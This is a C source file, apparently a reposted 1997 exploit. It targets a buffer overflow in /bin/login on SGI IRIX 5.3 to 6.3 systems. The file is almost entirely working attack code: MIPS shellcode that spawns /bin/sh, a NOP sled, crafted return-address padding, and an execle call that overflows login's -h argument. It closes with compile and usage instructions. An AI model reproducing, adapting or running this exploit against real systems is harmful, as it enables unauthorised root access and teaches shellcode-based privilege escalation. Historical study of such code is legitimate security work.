/* /bin/login exploit by DCRH 24/5/97
 *
 * Tested on:   R3000 Indigo (Irix 5.3)
 *              R4400 Indy (Irix 5.3)
 *              R5000 O2 (Irix 6.3)
 *              R8000 Power Challenge (Irix 6.2)
 *
 * Compile as: cc -n32 login.c     (for Irix 6.x)
 *             cc login.c          (for Irix 5.x)
 *
 * Press enter when prompted for a password
 *
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>

#define BUF_LENGTH      200
#define EXTRA           300
#define OFFSET          0x1b0
#define IRIX_NOP        0x03e0f825    /* move $ra,$ra */

#define u_long unsigned


u_long get_sp_code[] = {
  0x03a01025,         /* move $v0,$sp   [2000]*/
  0x03e00008,         /* jr $ra         [2000]*/
  0x00000000,         /* nop            [2000]*/
};

u_long irix_shellcode[] = {
  0x24041234,         /* li $4,0x1234   [2000]*/
  0x2084edcc,         /* sub $4,0x1234  [2000]*/
  0x0491fffe,         /* bgezal $4,pc-4 [2000]*/
  0x03bd302a,         /* sgt $6,$sp,$sp [2000]*/
  0x23e4012c,         /* addi $4,$31,264+36   */
  0xa086feff,         /* sb $6,-264+7($4)     */
  0x2084fef8,         /* sub $4,264     [2000]*/
  0x20850110,         /* addi $5,$4,264+8     */
  0xaca4fef8,         /* sw $4,-264($5) [2000]*/
  0xaca6fefc,         /* sw $4,-260($5) [2000]*/
  0x20a5fef8,         /* sub $5, 264    [2000]*/
  0x240203f3,         /* li $v0,1011    [2000]*/
  0x03ffffcc,         /* syscall 0xfffff[2000]*/
  0x2f62696e,         /* "/bin"         [2000]*/
  0x2f7368ff,         /* "/sh"          [2000]*/
};

char buf[BUF_LENGTH + EXTRA + 8];

void main(int argc, char **argv)
{
  char *env[] = {NULL};
  u_long targ_addr, stack;
  u_long *long_p;
  int i, code_length = strlen((char *)irix_shellcode)+1;
  u_long (*get_sp)(void) = (u_long (*)(void))get_sp_code;

  stack = get_sp();

  long_p =(u_long *)  buf;
  targ_addr = stack + OFFSET;

  if (argc > 1)
    targ_addr += atoi(argv[1]);

  while ((targ_addr & 0xff000000) == 0 ||
         (targ_addr & 0x00ff0000) == 0 ||
         (targ_addr & 0x0000ff00) == 0 ||
         (targ_addr & 0x000000ff) == 0)
    targ_addr += 4;

  for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
    *long_p++ = IRIX_NOP;

  for (i = 0; i < code_length/sizeof(u_long); i++)
    *long_p++ = irix_shellcode[i];

  for (i = 0; i < EXTRA / sizeof(u_long); i++)
    *long_p++ = (targ_addr << 24) | (targ_addr >> 8);

  *long_p = 0;

  printf("stack = 0x%x, targ_addr = 0x%x\n", stack, targ_addr);

  execle("/bin/login", "login", "-h", &buf[1], 0, env);
  perror("execl failed");
}

/*                    www.hack.co.za              [2000]*/